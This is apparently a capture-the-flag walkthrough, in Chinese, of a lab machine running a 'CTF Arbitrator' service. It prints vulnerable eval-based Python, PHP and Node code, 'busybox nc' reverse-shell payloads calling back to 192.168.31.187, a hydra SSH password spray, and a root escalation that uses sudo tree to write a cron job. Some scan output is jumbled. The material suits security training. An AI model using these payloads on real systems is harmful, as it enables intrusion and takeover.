信息收集
bash
$ nmap -sVC -O -p 80,222,9000 192.168.31.202 -oN nmapscan/nmap_tcp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-20 02:21 EST
Nmap scan report for debian (192.168.31.202)
Host is up (0.00038s latency).
PORT STATE SERVICE VERSION
[+] Got reverse shell from cc237b8c7cca~192.168.31.202-Linux-x86_64 😍️ Asssigned SessionID <2>
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)
| ssh-hostkey:
可以去爆破 /proc/<ID>/cmdline 得知位置之后再进一步分析
| 256 52:c2:56:d3:6c:0d:e5:02:76:83:00:bf:5e:73:64:51 (ECDSA)
|_ 256 1a:8e:9c:db:11:ad:da:2d:cd:76:31:d1:fc:e5:ef:8d (ED25519)
9000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.12)
|_http-title: CTF Arbitrator
|_http-server-header: Werkzeug/3.1.3 Python/3.12.12
MAC Address: 00:0C:29:CC:56:2A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds对这两个 web 端口进行目录爆破,没有什么结果,所以聚焦在 9000 的 web 端口



可以看到这样写的 json 格式确实可以进行读取文件 首先我想除了 readfile 还会有 exec 之类的指令吗

所以我们看到有一个 evalcode 的 action
我们使用 evalcode

我们继续探究,这个 code 到底是怎么填写的

我们首先尝试使用 python 执行代码

发现虽然显示失败,但是会尝试进行执行代码,那简单了,尝试 getshell 这个机器只能弹 sh,所以弹 sh
权限提升
bash
$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.202] 41331
id
uid=1001(python) gid=1001(python) groups=1001(python)获得了一个用户权限,我们去看一下这个东西的逻辑
pwncat 不太支持,你可以用 penelope
bash
cat flag_py
flag{flag1is_python
ls -la
total 92
drwxr-xr-x 1 root root 4096 Nov 21 13:05 .
drwxr-xr-x 1 root root 4096 Nov 21 13:05 ..
-rwxr-xr-x 1 root root 0 Nov 21 13:05 .dockerenv
drwxr-xr-x 2 root root 4096 Oct 8 09:28 bin
drwxr-xr-x 1 root root 4096 Nov 4 08:55 code
drwxr-xr-x 2 root root 4096 Nov 21 13:05 data
drwxr-xr-x 5 root root 340 Nov 21 13:05 dev
drwxr-xr-x 1 root root 4096 Nov 21 13:05 etc
-rw------- 1 node node 23 Nov 21 13:05 flag_node
-rw------- 1 php php 13 Nov 21 13:05 flag_php
-rw------- 1 python python 20 Nov 21 13:05 flag_py
drwxr-xr-x 1 root root 4096 Nov 21 13:05 home
drwxr-xr-x 1 root root 4096 Oct 8 09:28 lib
drwxr-xr-x 5 root root 4096 Oct 8 09:28 media
drwxr-xr-x 2 root root 4096 Oct 8 09:28 mnt
drwxr-xr-x 2 root root 4096 Oct 8 09:28 opt
dr-xr-xr-x 161 root root 0 Nov 21 13:05 proc
drwx------ 1 root root 4096 Nov 4 08:56 root
drwxr-xr-x 3 root root 4096 Oct 8 09:28 run
drwxr-xr-x 2 root root 4096 Oct 8 09:28 sbin
drwxr-xr-x 2 root root 4096 Oct 8 09:28 srv
dr-xr-xr-x 13 root root 0 Nov 21 13:05 sys
drwxrwxrwt 1 root root 4096 Nov 4 08:56 tmp
drwxr-xr-x 1 root root 4096 Nov 4 08:55 usr
drwxr-xr-x 1 root root 4096 Oct 8 09:28 varbash
shell
pwd;cat app.py
/codepython
from flask import Flask, request, render_template
import requests
import json
import os
app = Flask(__name__)
# Target endpoint URLs
PYTHON_URL = " http://127.0.0.1:5000/process"
PHP_URL = " http://127.0.0.1:8080/index.php"
@app.route('/')
def index():
return render_template('index.html')
def fetch_and_compare(json_payload):
"""
Sends the payload to both backends. If any error (timeout, connection,
or JSON decode) occurs, or if results differ, it returns a failure verdict.
"""
# 1. Parse user input JSON
try:
data_to_send = json.loads(json_payload)
except json.JSONDecodeError:
failure_message = "Arbitration Failed! You are a hacker."
# Cannot provide detailed raw text if the initial payload itself is invalid
return (False, failure_message, "ERROR: Invalid input JSON payload.", "ERROR: Invalid input JSON payload.")
headers = {'Content-Type': 'application/json'}
# Initialize raw text with a clear error state for debugging purposes
python_raw_text = "ERROR: Request failed, timed out, or returned non-JSON data."
php_raw_text = "ERROR: Request failed, timed out, or returned non-JSON data."
# 2. Request Python Service (Port 5000)
try:
response_py = requests.post(PYTHON_URL, json=data_to_send, headers=headers, timeout=5)
python_raw_text = response_py.text
python_response = response_py.json() # This will raise JSONDecodeError if response is not JSON
except (requests.exceptions.RequestException, json.JSONDecodeError) as e:
# Strict failure: Any error immediately triggers the failure verdict
return (False, "Arbitration Failed! You are a hacker.", python_raw_text, php_raw_text)
# 3. Request PHP Service (Port 8080)
try:
# Send raw payload for PHP to read via file_get_contents('php://input')
response_php = requests.post(PHP_URL, data=json_payload, headers=headers, timeout=5)
php_raw_text = response_php.text
php_response = response_php.json() # This will raise JSONDecodeError if response is not JSON
except (requests.exceptions.RequestException, json.JSONDecodeError) as e:
# Strict failure: Any error immediately triggers the failure verdict
return (False, "Arbitration Failed! You are a hacker.", python_raw_text, php_raw_text)
# 4. Compare parsed JSON content
# Normalize JSON strings by sorting keys for reliable comparison
try:
python_normalized = json.dumps(python_response, sort_keys=True, indent=4)
php_normalized = json.dumps(php_response, sort_keys=True, indent=4)
except Exception:
# Safegard for unforseen serialization issues
return (False, "Arbitration Failed! You are a hacker.", python_raw_text, php_raw_text)
if python_normalized == php_normalized:
# Success: Responses match
return (True, python_normalized, python_normalized, php_normalized)
else:
# Failure: Responses do not match
return (
False,
"Arbitration Failed! You are a hacker.",
python_raw_text,
php_raw_text
)
@app.route('/submit', methods=['POST'])
def submit():
json_payload = request.form.get('json_payload', '')
# Get the arbitration verdict
success, result, py_raw, php_raw = fetch_and_compare(json_payload)
# Render the index page with the result
return render_template('index.html',
result=result,
success=success,
payload_text=json_payload,
python_result="Arbitration Failed!",
php_result="Arbitration Failed!"
)
if __name__ == '__main__':
# Arbitrator runs on its own port, e.g., 9000
app.run(debug=False,host="0.0.0.0", port=9000)bash
shell
pwd;cat pyagent.py
/code/agentpython
from flask import Flask, request, jsonify
import os
import sys
from io import StringIO
app = Flask(__name__)
@app.route('/process', methods=['POST'])
def process_action():
try:
data = request.get_json()
except:
return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400
if not data or 'action' not in data:
return jsonify({'error': 'Invalid JSON input or missing "action" field.'}), 400
action = data['action']
if action == 'readfile':
if 'file' not in data:
return jsonify({'error': 'Missing "file" parameter for readfile action.'}), 400
filename = data['file']
try:
with open(filename, 'r') as f:
content = f.read()
return jsonify({
"filename": filename,
"content": content
})
except FileNotFoundError:
return jsonify({"error": f"File '{filename}' not found or not readable"}), 404
except Exception as e:
return jsonify({
"error": f"Error reading file: {str(e)}",
"type": type(e).__name__
}), 500
elif action == 'evalcode':
if 'code' not in data:
return jsonify({'error': 'Missing "code" parameter for evalcode action.'}), 400
code_to_eval = data['code']
old_stdout = sys.stdout
redirected_output = StringIO()
sys.stdout = redirected_output
result = None
error_type = None
error_message = None
try:
result = eval(code_to_eval)
except Exception as e:
error_type = type(e).__name__
error_message = str(e)
finally:
sys.stdout = old_stdout
captured_output = redirected_output.getvalue()
if error_type:
return jsonify({
"error": f"Code execution error ({error_type}): {error_message}",
"type": error_type
}), 500
return jsonify({
"code": code_to_eval,
"result": str(result),
"output": captured_output,
"type": str(type(result).__name__)
})
else:
return jsonify({'error': 'Unknown action. Supported actions: readfile, evalcode.'}), 400
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=5000)bash
find | grep index.php
./agent/index.php
shell
cat ./agent/index.php
<?php
// Set response header to JSON
header('Content-Type: application/json');
// Read raw JSON input from the request body
$input_json = file_get_contents('php://input');
$data = json_decode($input_json, true);
// Check for valid JSON and the required 'action' field
if (json_last_error() !== JSON_ERROR_NONE || !is_array($data) || !isset($data['action'])) {
http_response_code(400);
echo json_encode(['error' => 'Invalid JSON input or missing "action" field.']);
exit;
}
$action = $data['action'];
/**
* Action 1: readfile - Path Traversal / Arbitrary File Read Vulnerability
*/
if ($action === 'readfile') {
if (!isset($data['file'])) {
http_response_code(400);
echo json_encode(['error' => 'Missing "file" parameter for readfile action.']);
exit;
}
$filename = $data['file'];
// ⚠️ CTF Vulnerability: No path filtering, allows path traversal (../)
if (file_exists($filename) && is_readable($filename)) {
try {
$content = file_get_contents($filename);
echo json_encode([
"filename" => $filename,
"content" => $content
]);
} catch (Exception $e) {
http_response_code(500);
echo json_encode(["error" => "Error reading file: " . $e->getMessage()]);
}
} else {
http_response_code(404);
echo json_encode(["error" => "File '{$filename}' not found or not readable"]);
}
exit;
}
/**
* Action 2: evalcode - Remote Code Execution (RCE) Vulnerability
*/
if ($action === 'evalcode') {
if (!isset($data['code'])) {
http_response_code(400);
echo json_encode(['error' => 'Missing "code" parameter for evalcode action.']);
exit;
}
$code_to_eval = $data['code'];
// ⚠️ CTF Vulnerability: Direct use of eval() without sanitization or sandboxing.
// Attackers can execute arbitrary PHP code (e.g., system('ls -la'))
ob_start(); // Capture output generated by the evaluated code (e.g., system() calls)
try {
// Use 'return' to capture the result of the expression/function call
$result = eval("return " . $code_to_eval . ";");
$output = ob_get_clean();
echo json_encode([
"code" => $code_to_eval,
"result" => $result,
"output" => $output,
"type" => gettype($result)
]);
} catch (ParseError $e) {
ob_end_clean(); // Clean buffer on error
http_response_code(500);
echo json_encode([
"error" => "Code execution error (ParseError): " . $e->getMessage(),
"type" => "ParseError"
]);
} catch (Throwable $e) {
ob_end_clean(); // Clean buffer on error
http_response_code(500);
echo json_encode([
"error" => "Code execution error: " . $e->getMessage(),
"type" => get_class($e)
]);
}
exit;
}
// Fallback for unknown action
http_response_code(400);
echo json_encode(['error' => 'Unknown action. Supported actions: readfile, evalcode.']);
?>bash
$ cat workspace/2.json
{
"action":"evalcode",
"code":"system('busybox nc 192.168.31.187 4444 -e /bin/sh')"
}bash
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.202] 34967
id
uid=1000(php) gid=1000(php) groups=1000(php)来个 shell
bash
cat flag_php
_flag2_isphpbash
/code/agent $ ls -la
total 64
drwxr-xr-x 1 root root 4096 Nov 4 08:56 .
drwxr-xr-x 1 root root 4096 Nov 4 08:55 ..
-rw-r--r-- 1 root root 3109 Nov 3 09:44 index.php
-rw-r--r-- 1 root root 1035 Nov 4 08:55 node.js
drwxr-xr-x 68 root root 4096 Nov 4 08:56 node_modules
-rw-r--r-- 1 root root 29482 Nov 4 08:56 package-lock.json
-rw-r--r-- 1 root root 52 Nov 4 08:56 package.json
-rw-r--r-- 1 root root 2416 Nov 3 09:43 pyagent.py
/code/agent $ cat node.js
const express = require('express');
const app = express();
const port = 3000;
app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.post('/evalcode', (req, res) => {
const codeToEval = req.body.code;
if (!codeToEval) {
return res.status(400).json({
error: 'Missing "code" parameter in the POST body.',
type: 'ValidationError'
});
}
let result;
let type;
try {
result = eval(codeToEval);
type = typeof result;
res.json({
code: codeToEval,
result: String(result),
type: type
});
} catch (e) {
res.status(500).json({
error: `Code execution error: ${e.message}`,
type: e.name
});
}
});
app.get('/', (req, res) => {
res.send('Hello World!');
});
app.listen(port, () => {
console.log(`Node.js server listening at http://localhost:${port}`);
console.log(`Test endpoint: POST http://localhost:${port}/evalcode`);
});我们构造 node 的反弹shell
bash
/tmp $ JSON_PAYLOAD=$(cat 3-DGUAYaQp.json )
/tmp $ echo $JSON_PAYLOAD
{"code":"require('child_process').exec('busybox nc 192.168.31.187 4444 -e /bin/sh')"}
/tmp $ PAYLOAD_LEN=$(printf "%s" "$JSON_PAYLOAD" | wc -c)
/tmp $ (
> printf "POST /evalcode HTTP/1.1\r\n"
> printf "Host: 127.0.0.1:3000\r\n"
> printf "Content-Type: application/json\r\n"
> printf "Content-Length: %s\r\n" "$PAYLOAD_LEN"
> printf "Connection: close\r\n"
> printf "\r\n"
> printf "%s" "$JSON_PAYLOAD"
> ) | busybox nc 127.0.0.1 3000
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 128
ETag: W/"80-rlRyW1hut6dcghy2UWIETcve7bI"
Date: Sat, 22 Nov 2025 08:17:20 GMT
Connection: close
[+] Got reverse shell from cc237b8c7cca~192.168.31.202-Linux-x86_64 😍️ AAssigned SessionID <2>
{"code":"require('child_process').exec('busybox nc 192.168.31.187 4444 -e /bin/sh')","result":"[object Object]","type":"object"}
/code/agent $ id
uid=1002(node) gid=1002(node) groups=1002(node)
/ $ cat flag_node
have_@funnnnnnnngooos}组合一下
flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}根据提示说是一个用户的密码(作者在群里的提示)
bash
$ hydra -L /usr/share/wordlists/seclists/Usernames/xato-100.dir -p 'flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}' ssh://192.168.31.202:222 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-22 03:20:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:100/p:1), ~7 tries per task
[DATA] attacking ssh://192.168.31.202:222/
[222][ssh] host: 192.168.31.202 login: admin password: flag{flag1is_python_flag2_isphphave_@funnnnnnnngooos}
$ pwncat-cs admin@192.168.31.202 -p 222
Password: *****************************************************
[03:21:59] 192.168.31.202:222: normalizing shell path manager.py:957 192.168.31.202:222: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
192.168.31.202:222: registered new host w/ db manager.py:957
(local) pwncat$
(remote) admin@debian:/$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)bash
(remote) admin@debian:/home/xj$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on debian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User admin may run the following commands on debian:
(ALL) /usr/bin/tree读取思路
bash
(remote) admin@debian:/home/xj$ sudo /usr/bin/tree --fromfile /root/root.txt
/root/root.txt
`-- flag{woahiz}
0 directories, 1 file提权思路
bash
(remote) admin@debian:/home/xj$ echo -n "chmod 4755 /bin/bash"|base64
Y2htb2QgNDc1NSAvYmluL2Jhc2g=
(remote) admin@debian:/home/xj/eval$ mkdir -p ' * * * * * root echo Y2htb2QgNDc1NSAvYmluL2Jhc2g= | base64 -d | bash'
(remote) admin@debian:/home/xj/eval$ sudo /usr/bin/tree -N -i --noreport -o /etc/cron.d/eval *
(remote) root@debian:/root# id
uid=1000(admin) gid=1000(admin) euid=0(root) groups=1000(admin)这个机器前期还有别的思路,已知可以读取文件 可以去爆破 /proc/<ID>/cmdline 得知位置之后再进一步分析